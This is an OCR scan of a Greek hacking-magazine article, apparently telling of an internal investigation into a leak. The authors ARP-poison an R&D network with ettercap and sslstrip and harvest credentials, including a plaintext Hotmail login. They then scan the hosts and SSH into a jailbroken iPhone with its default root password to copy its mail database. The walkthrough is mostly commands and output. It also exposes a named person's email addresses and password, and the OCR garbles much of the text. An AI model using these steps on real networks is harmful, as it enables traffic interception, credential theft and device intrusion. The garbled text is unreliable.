χρήσιμο θα ψαρεύαμε p’ αυτόν τον τρὀπο και δεν θέλαμε ν΄ αρχίσουμε τις 
επιθέσεις σε κάθε μηχάνημα ξεχωριστά... 


Καταγραφή δικτυακἠς κίνησης 


H διαδικασία της καταγραφἠς ὁλης της διαδικτυακἠς κίνησης βασίστηκε 
στην τεχνικἠ του ARP poisoning. Μια επίθεση ΜΙΤΜ (Man In The Mid- 
dle, βλ. και σχετικἀ άρθρα στα deltaHacker 001 και 010) μὰς επέτρεψε 
να διοχετεύσουµε ὁλη τη δικτυακἠ κίνηση του τμήματος R&D μέσα απὀ 
τον υπολογιστή µας. Μας ενδιέφεραν οι πληροφορίες που σχετίζονται 
µε usernames kai passwords, ὀπως και κάθε λογής κείμενα που 
κυκλοφορούσαν απ’ εδὠ κι απὸ 'κεἰ. Fia την υλοποίηση της επίθεσης MITM 
πληκτρολογήσαμε ra εξἠς: 


root()bt :~# 
root()bt : «8 


root()bt : «8 


Στο αρχείο ρυθµίσεων rou ettercap βγάλαμε ro χαρακτήρα των σχολίων 
(4) απὀ τις γραμμές 168 και 169, ώστε va ενεργοποιήσουμε την 


` 
` 
. 


ΘΕ]1ο2.168.1. R 


@is2.168.1.14 ,” 


Με τη βοήθεια rou 
Zenmap ano- 
κτούμε µια πλήρη 
καταγραφή των 
συσκευών στο TO- 
πικὀ αλλά kai στο 
απομακρυσμένο 
δίκτυο (µέσω VPN). 


94 


Θιο2 16ο) 192.168.1.11 


@192.168.13 


WV'HAGIKER 


ÁN 


ανακατεύθυνση της δικτυακής 
κίνησης µέσω του iptables. Στη 
συνέχεια υλοποιήσαμε την επίθεση 
µε TO ettercap σε mode ARP. 
Παρατηρήστε ὁτι σαν δικτυακὀ 


x 
` 
` 


H 
B 
D 
` 
" 
` 
» D 
ῃ 
` 
B 
* . 
B 
D 
D 


E interface TOU υπολογιστἠὴς 
. d ΄ μας δώσαμε το µρρρθ, ὥστε 
` ONE. { η επἰθεσή µας να λάβει χώρα 


εντὸς του ΝΡΝ. Επίσης, για να 
εξετάσουμε µε την ησυχία µας 
τα αποτελέσματα, «Φροντίσαμε 


NB iocalhost. ώστε ÓÀa τα αποτελέσµατα να 


"m2 @ 192.168.1.8 καταγραφούν στο αρχείο info | 

mU E S RnD.cap. Περιττὀ να σημειώσουμε 

Fd i ότι χρειάζεται μεγάλη προσοχἠ 

; όταν «δηλητηριάζουμµε» (ARP poi- 
@192.168.1.7 HARRIS dE X Ρ 


son) ἑνα oAókAnpo LAN. O λὀγος 


(Œ 192:168.1.40 εἶναι ὁτι η επίδοση του δικτύου 
πέφτει σημαντικὰ κι ενδέχεται 


va αποκαλυφθούμε. Επιπρόσθετα, το μηχάνημά µας θα δεχτεί ξαφνικά 
μεγάλο Φορτίο κι ενδέχεται να χαθούν αρκετά πακέτα, µε συνέπεια va 


μη γίνει σωστὰ η δουλειἁ µας. Προσοχή, Aoinóv! Ξεκινήσαμε την επίθεση 
δίνοντας το ακόλουθο: 


root@bt:~# ettercap -T -M arp -i ρρρϐ -w info RnD.cap // // 
Στη συνέχεια ανοίξαμε ἑνα ακόµη terminal και δώσαμε τα εξἠς: 

root@bt:~# cd /pentest/web/sslstrip 

root@bt:~# python sslstrip.py -k -1 2000 


Αφού βάλαμε και το sslstrip να δουλεύει, καθίσαμε να πιούμε ἑνα καφὲ 
και va φάμε καμιὰ niroa (Σ.τ.Ε. Καλοπερνάνε, εκεὶ στην DDT. Αλλά καφὲ 
*uaGi* µε πἰτσα;! Μάλλον πρέπει va ἐχουν και γερἁ στομάχια.) Αφού 
επιτρέψαμε στα δύο προγράµµατα να εργαστούν για καμπόση opa, 
αρχίσαμε την επεξεργασία των info. RnD.cap και sslstrip.log. 


Ανάλυση αποτελεσμάτων 


Μέσα στο sslstrip.log ψάξαμε για λέξεις κλειδιἁ ónog τα login, pass, 
passwd, hotmail, gmail, orange (ro ὀνομα της εταιρείας, η οποία 
ενδἐχεται va ἐχει τον δικὀ της mail server), facebook, google.mail, k.à. 
Ta αποτελέσµατα ἦταν πολλά και ra τοποθετήσαµε σε ξεχωριστό αρχείο 
(results.txt). Ωστόσο, σύντομα συνειδητοποιήσαμε ὅτι η δουλειὰ µας 
ἠταν τουλάχιστον ανεπαρκἠς: Ἠταν αδύνατο να εξετάσουμε τα δεδομένα 
nou ανταλλάσσονταν µε site, τα οποία χρησιμοποιούν εξ ολοκλήρου 
TO HTTPS. Αυτό ἦταν λογικό και αναμενόμενο, εφόσον τα δεδομένα 
μεταφέρονταν κρυπτογραφημένα. Κάπως ἐτσι, αποφασίσαμε va ψάξουμε 
ue βάση τα στοιχεία που εἰχαμε συλλέξει και, μετά, θα βλέπαμε τι ἄλλο θα 
κάναμε! Δυστυχώς, οι έρευνες µε ra credentials nou εἰχαμε υποκλέψει 


αποδείχθηκαν ἀκαρπες. Δεν βρήκαμε κανένα στοιχείο που va ενοχοποιεἰ 
κάποιον. 


Για την ανάλυση των πακέτων nou εἰχαμε λάβει απὀ το ettercap και τα 


οποία εἰχαν αποθηκευτεί στο info RnD.cap, στραφήκαμε στο πασίγνωστο 
Wireshark. 


Αφού ανοΐξαμε ro info. RnD.cap, πήγαμε στο μενού Edit kai πατήσαμε στο 
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Target: |192.168.1.1/24 | v | Profile: [Quick scan [5πεε! 


Command: [nmap “Τά -F 192.168.1.1/24 


k Π 
| nmap-Ta -F 192.168.1.1/24 Ξ [Details 


[nad |ALL 100 scanned ports on 192.168.1.8 are closed a 
192.168.1.2 MAC Address: 43:3E:D0:43:3E:05 (Unknown) 


192.168.1.3 Nmap scan report for 192.168.1.10 

192.168.1.5 Host is up (0.049s latency). 

192.168.1.7 All 100 scanned ports on 192.168.1.10 are closed 
MAC Address: 48:14:31:48:14:31 (Unknown) 

192.168.1.8 


192.168.1.10 Nmap scan report for 192.168.1.11 
Host is up (0.0977s latency). 

RHET, Not shown: 97 closed ports 

192.168.1.4 | | PORT STATE SERVICE 

192.168.1.15 ' | 22/tcp open s 
868/tcp open kerberos-sec 

192.168.1.20 ' | 548/tep open afp 

192.168.1.40 MAC Address: 75:D6:DC:75:D6:DC (Apple) 


" Nmap scan report for 192.168.1.15 
Host is up (0.0000060s latency). 
Not shown: 99 closed ports 

PORT STATE SERVICE 

22/tcp open ssh 

1723/tcp open pptp 

5190/tcp open aol 

10000/tcp open snet-sensor-mgmt 


Nmap scan report for 192.168.1.20 
Host is up (0.0042s latency). 

Not shown: 97 closed ports 

PORT STATE SERVICE 

22/tcp open ssh 

53/tcp open domain 

80/tcp open htt» 

MAC Address: 12:B7:5E:12:B7:5E (Apple) 
παν — 


Filter Hosts 


Nmap scan report for 192.168.1.48 
n a 


net ie un (07-0176 latancvY 


Find Packet. Στο σχετικὀ πεδίο nou εμφανίστηκε δοκιµάσαμε διαδοχικἁ 
διάφορες λέξεις κλειδιά, ὀπως, π.χ., password, login, pdf, doc, txt, zip, 
rar k.à. Anó την ανάλυση nou ἐγινε βρἐθηκαν αρκετά usernames και 
passwords, αλλά η αξιοποἰησή τους δεν µας ωφέλησε σε τίποτε... 


Πέρα απὀ τα συνηθισμένα 


Εφόσον εἶχαμε αναλύσει όλα τα δεδοµένα και δεν εἶχαμε βγάλει ἄκρη, 
ἠταν πλέον φανερό ὁτι έπρεπε να αλλάξουμε πορεία δράσης. Κάπως έτσι 
αποφασίσαμε να ξεκινήσουμε απὀ την αρχἠ και va επανεξετάσουµε τα 
αποτελέσµατα του port scanning. Θυμόσαστε εκεἰνο το μηχάνημα, µε 
IP το 192.168.1.20; To MAC address εἶχε χαρακτηρισμὀ «Apple» και, 
μεταξύ ἄλλων, εἶχε ανοιχτὸ ro port 22. Επομένως, θα ἧταν κάποιο Mac 
Book, iMac, Mac Mini ἡ και jailbroken iPhone! Χωρίς να περιμένουμε ἄλλο, 
ανοἰξαμε τη γραµµή εντολών κι αποπειραθἠκαµε να συνδεθούμε: 
root@bt:~#ssh root(0192.168.1.20 


The authenticity of host '192.168.1.26 (192.168.1.20)' can't be 
established. 


RSA key fingerprint is 5b:dc:87:5c:f0:f7:b4:3e:a3:93:c6:14: 
3c:73:30:42. 


Are you sure you want to continue connecting (yes/no)? yes 


Warning: Permanently added '192.168.1.20' (RSA) to the list of 
known hosts. 


root(0192.168.1.20's password: alpine («-- δεν φαίνεται στην 
οθόνη) 


Papadopoulos-iphone:-^ rootit 


Ta αποτελέσµατα 
TOU Quick Scan 
προσφέρουν µια 
πρώτη γεύση για 
τα avoixrá ports 
και κατ’ επέκταση 
για τις υπηρεσίες 
που τρέχουν 

τα διάφορα 
μηχανήματα... 
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seen timestamp-1348947530336& usere 

j| 2012-09-29 16:23:54,367 POST Data (www.facebook.com); 

i τς [offset]-O&inbox[limit]-S&inbox[filter]& user- 
2012-09-29 16:24:00,683 POST Data (www.facebook.com): 


fb 
2012-09-29 16:24:03,237 POST Data (www.facebook.com): 


2012-09-29 16:24:05,330 POST Data (www.facebook.com): 
|| fb. 


ignein&type-ll&PPFT- 


0.0.0", "conpatibilityVersion":0, "domain":"mail, live, com", "endpointId":"[ 76-0f85-47e3-8b51 


A22Fo derListContextHenut22] ,null&vsl 


iageListContextMenu*22] , null&v-l 

29, 498 POST Data (by157w.bay157.mail. live.com): 

Hotmail. Ui. Fpp. MailBox&mn=VerifyRecipients&d=[%22 %22] &v=1 

9,585 POST Data (baynsg1030132. by2. gateway. edge.m singen. live. co d 

Type" :1, "ticket":null), "clientType":2, "clientVersion" 0.0.0", itibilityVersion":0, "domain": "mail, live.com", "endpointId":"( 76-0{85- 4763-8554 
2012- δ um 16: 25:51,878 POST Data (baymsg1020322.gateway messenger. 
PUT 7 
eutn 1.0 
To: 1: 


epid- 
Reliability: 1.0 

Publication: 1.0 

Uri: /user 

Content-Type: application/userexml 
Content-Length: 238 


«user»«s n-"IM'»«Status»NLNe/Status»«/s»«sep n-"IM'»«Capabilities» «/Capabilities»«DMN»mail, live. com«/DMN»-WebAppData domain-"mail.live.con"»«MsgIds»«Id»- 
2012-09-29 16:25:51,886 POST Data (baymsg1020322. gateway messenger, live,com): 


2012-09-29 16:25:52,465 POST Data (baymsg1020322.gateway messenger. live.com): 


2012-09-29 16:25:53,144 POST Data (baymsg1020322.gateway messenger. live.com): 


7,343 POST Data (by157w.bay157.mail.live.com): 


ΒΙΟ LINE UTF-8 sslstrip.log 


48 Find in Files [Terminal 
Με χρήση του Πέσαμε μέσα! Ἠταν ἑνα Jailbroken iPhone -- και μάλιστα µε ro default 
sslstrip παίρνουμε password. Χμ. Κάτι θα πρέπει να υπάρχει που να εἶναι ἀξιο έρευνας 


Κάποια usernames : A : 1 f A F 
και bass Worde μέσα σε auró ro iPhone, σκεφτήκαμε. Ακόμη βέβαια κι αν παγιδεύαμε 


των χρηστών του τη δικτυακἡ κίνηση για £vav μήνα, anó το iPhone δε θα κλέβαμε τίποτε 

δικτύου αφου τα πακέτα μεταφέρονται κρυπτογραφηµενα! Ἔτσι, αποφασίσαμε va 
ρίξουμε µια ματιὰ στο φάκελο µε ra Mail του κινητού. Πρόκειται για τον 
κατάλογο /private/var/mobile/Library/Mail: 


Papadopoulos-iphone:- root# cd /private/var/mobile/Library/Mail/ 
Papadopoulos-iphone:- root# 15 


AutoFetchEnabled POP-papadopoulos .kostas@hotmail.gr@pop3.live.com Protected Index 


Bulletins POP-papadopoulos.kostas()pop.orange.com Vault 
Envelope Index | POP-papadopoulos.kostas()pop.gmail.com metadata.plist 
Mailboxes POP-papadopoulos.kostas(hotmail.comgpop3.live.com 


Papadopoulos-iphone:- rootitexit 
root()bt :~# 


Εκεὶ παρατηρήσαμε αμέσως óri υπήρχαν αρκετοί λογαριασμοί, σε 
διάφορους mail servers. Πα κάθε λογαριασμό υπάρχει ἑνας ξεχωριστὸς 
φάκελος. Μπαίνοντας σε καθέναν απὀ αυτούς θα μπορούσαμε να δούμε 
αµέσως ra email που ἐχει στείλει ἡ λάβει ο κάτοχος rou iPhone, μέσω του 
αντἰστοιχου λογαριασμού. Βέβαια, το πιο πιθανὸ θα ἦταν va εἰχε σβήσει 
όλα τα ὑποπτα/ενοχοποιητικἁ μηνύματα! Ἡμασταν σίγουροι, ωστόσο, ὁτι 
δεν θα εἶχε σκεφτεὶ να σβήσει το αρχείο Protected Index. To εν λόγω 
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αρχείο αποτελεί µια βάση δεδοµένων µε *óAa* ra απεσταλµένα και 
ληφθέντα mail, ανεξάρτητα απὀ το av ο χρήστης τα διέγραψε! H εν Aóyo 
βάση δεδομένων καθαρίζεται αυτόματα, αλλά αυτό απαιτεἰ την πάροδο 
ενὸς μεγάλου χρονικού διαστήματος. Έτσι, αποφασίσαμε να κοιτάξουμε 
κατευθείαν εκεἰ μέσα. Πα το okonó αυτό αποσυνδεθήκαµε απὀ ro iPhone 
και συνδεθήκαμε εκ νέου, αλλά αυτή τη φορὰ για να κάνουμε µια 
αντιγραφή. H νέα µας σύνδεση ἐγινε µε το secure copy (scp): 


root@bt:~# scp root()0192.168.1.20:"/private/var/mobile/Library/ 
Mail/Protected\ Index" ~/Desktop/ 


Μετά anó apKETÈG ὠρες μελέτης του Protected Index απομονώσαμε 
κάποιο email που εἶχε σταλεἰ πέρυσι, κοντὰ στην εποχὴ που για πρώτη 
φορὰ εἶχαν πατατηρηθεἰ οι διαρροές. Αποστολέας ἦταν ο Papadopou- 
los Kostas και παραλήπτης o Anderson, της εταιρείας GNUSMAS. To 
μήνυμα περιελάμβανε ¿va JPEG, ὀπως φάνηκε κι anó το πεδίο Content- 
Type. Avriypáyaue το κατὰ base64 κωδικοποιημένο μήνυμα και TO 
επικολλήσαμε σε éva νέο, kevó αρχείο. Μέρος των περιεχομένων TOU 
αρχείου Φαίνεται εδώ: 


iVBORwOKGgoAAAANSUhEUgAAAX8AAAIFCAYAAACznkDSAAAE JG1DQ1BJ QOMgUHJ vZm1sZQAAOBGF 
Vd9v21QUPolvUqQWPyBYRA4eKxa9VU1u5GxqtxgZJke6XtShaledgqJOQ6NAmpGwfb6baqT3uBNwb8 
AUDZAw9IPCENBmJ72fbAtElThyqqSUh76MQPISbtBVXhu3ZiJ1PEXPX6yznfOec7517bRD1fabWa 
GVWIlquunc8klZOnFpSeTYrSs9RLA9SreU4tkcvNEi7BFffO6-«EdigjL7ZHu/k721796i9zRiSJP 


jBPjJvNW6jqK13Qr67H04Z218Xx75xH35sfmz0j vDVeeupWc6Dilnq9qjo-ZTvhRXmi1WuOg9 JV3uH 
yJ9KRp*3XuSg4ak/0uj1QBJ761eGY2S32kwb7bM*Z0607FZbW/nS1uHfB1tkEgdr8sfGFdspdR9T 
xiqnY/Flf1TvH677JLb8CJUfouyZ2MzeySFCvwOPWeXGh j ^WPpOx5FCBJyGHDLXxk6DTm6kEKkvKeO 
j/XfqfEs6av«WuLp6f8L7yImxr3x4jwAAAAASUVORK5CYII- 


Ανάκτηση attachment 


Με δεδομένο τον κὠδικα που έχουμε απὀ ro email, μπορούμε va 
ανακτήσουμε TO αρχικὀ περιεχόµενο µε τον ακὀλουθο τρὀπο. Ξέρουμε 
ότι η κωδικοποίηση του αρχείου εἶναι base64, επομένως αν φτιάξουμε 
ἑνα script που να αποκωδικοποιεἰ στο κατάλληλο format, ανάλογα µε το 
Content-Type, θα πάρουμε πἰσω το αρχικό attachment. Πα την ακρίβεια 
των όσων λέμε, ιδού και το ακὀλουθο script σε Python 3: 


&l/usr/bin/env python 
#decode base64 files by Dr@G 
#basic usage: python base64toext.py [filename] [extention] 


#extention could be jpg,zip,rar,html,pdf,doc and any other 
format 


import sys 
import os 
import base64 
if( name  --' main Ὁ: 
len arg - len(sys.argv) 
if len arg » 1: 
base64file = open(sys.argv[1], 'rb).read() 
fileData = base64.b64decode(base64file) 
fileName - os.path.splitext(sys.argv[1]) 


To Wireshark 
λύνει τα χέρια σε 
όποιον ξέρει να το 
χειρίζεται σωστά, 
αλλά εἶναι πιθανό 
va τρομάξει τους 
νεοφερμένους.. 


669 73.517471 


[7] 


ΠΕ Content-Length: 248 rn 


192.168.1.11 


Host: www.facebook.comVrAn 
Connection: keep-alive\r\n 


WV'HAGIKER 


ÁN 


file name = fileName[0] 

file ext = '.*sys.argv[2] 

File = open(file name + file ext, 'wb') 

File.write(fileData) 

print('Successfully decoded '+sys.argv[1]+' to "sys. 
argv[1][:-4]4*file ext) 

else: 
print('Please enter a file !!!") 


To script λαμβάνει ως ορίσματα ro ὀνομα rou attachment, καθώς και την 
κατάληξη rou αποκωδικοποιηµένου περιεχοµένου. Παράδειγμα: 


root@bt:~# python base64toext.py email attachment.txt jpg 


Αντἰ επιλόγου 


Το αποτέλεσμα μὰς ἄφησε ἄφωνους -- κι av µας γνωρἰζατε θα 
καταλαβαίνατε πόσο μεγάλη εἶναι αυτή η αλλαγή για εμάς ;) O ἄνθρωπος 
που ψάχναμε ἠταν πράγματι ο κύριος Παπαδόπουλος! Τελικά, στον 
ουρανό γυρεύαμε τον υπαἰτιο για τις διαρροές, στη γη στον βρήκαμε. 
Εκείνοι που φωνάζουν yia τα ζητήματα privacy που προκύπτουν απὀ τη 
χρήση κλειστών τεχνολογιών, φαίνεται πως xouv va δίκιο. Μόνο που 
αυτἠ τη φορά η παραβίαση του απορρήτου ἐγινε σε ἐναν, ας πούμε bad 
guy. Αλλά ξέρουμε τι σκἑπτεστε τώρα... Μη νομίζετε, συμφωνούμε pači 
σας! 


56.220. 149.94 ΗΤΤΡ 314 POST /login.php?login attempt-l HTTP/1.1 (application/x-Www-form-urlencoded) 


Cache-Control: max-age=0\r\n 

Origin: http://www.facebook.comVrAn 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10 8 1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4Vr^n 
Content-Type: application/x-www-form-urlencodedV rin 


00 0c 29 f2 24 8a 20 c9 
01 2c 90 86 40 00 40 06 
95 5e c6 18 00 50 d3 44 
20 2b 03 13 00 00 01 01 
54 01 6c 73 64 3d 41 56 
6d 61 69 6c 3d 73 69 66 
25 34 30 68 6f 74 6d 61 
61 73 73 3d 6e 6e 69 69 
31 30 73 65 78 62 26 70 
74 3d 31 26 64 65 66 61 
69 73 74 


dO 43 3e 05 08 00 45 00 
0f 58 c0 a8 61 0b 42 dc 
94 83 a2 d4 aa 03 80 18 
08 0a le 8c 6b 7b 00 3e 
70 56 78 32 67 71 26 65 
61 6b 69 73 6e 69 63 6b 
69 6c 2e 63 6f 6d 26 70 
6b 6b 6f 6f 73 73 4e 73 
65 72 73 69 73 74 65 6e ENG ersisten 
75 6c 74 5f 70 65 72 73  t-l&defa ult pers 
26 63 68 61 72 73 65 74 Ξ 


Login -> papadopoulos.kostasĉêhotmail.com 


*40hotma il.com&p 
ass= 


Password -> PapadKostasOrange 


Frame (314 bytes) 


es File: "/root/test.cap" 18 MB 00:06:51 - Packets: 34579 Displayed: 2613 Marked: 0 Load time: 0:00.438. 
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= Profile: Default 


H διαφήμισή σας θα 
μπορούσε va εἶναι εδώ. 


Θα μπορούσε να 'ναι και σε κάποια άλλη σελίδα, δηλαδή. 


Αλλά δεν givai. 


Προς το παρόν. 


nex reuse < EDOUME κι ΞΕΡΕΤΕ i 
ξε DOULIE «. ξέρετε « wee va κάνετε. 


Μην ντρέπεστε, λοιπόν. 


talk2usQdeltahacker.gr 


Εμείς πάντως θα σας μιλήσουμε. (3) 


:Ο0311001 5m 5noi UioiAoyoun Aoi Anousyg 
^39 nou 5noumdgao 50ox»iAdnoinüug “ΦηοΧπομΛλο Ὁ1 | ':31303z 


*px1AodixsyU pi ip» oroiiprrnodAodu 

^oi *pis3yp$on AUi i0» pnixig oi 'Supyjoeu [e»ruie 
Ο1 ouo mdoÀ no»xigoidau ΠΟἈ1ΛΟΥΟΛΧ31 nod3inyo9 noi 091140 
ui 3d *piAodX UX3Ano Uud3i039 niÀ “3Πήπο2λιχΏΛλπο Π3013ή Ο1 


deltahacker.gr 


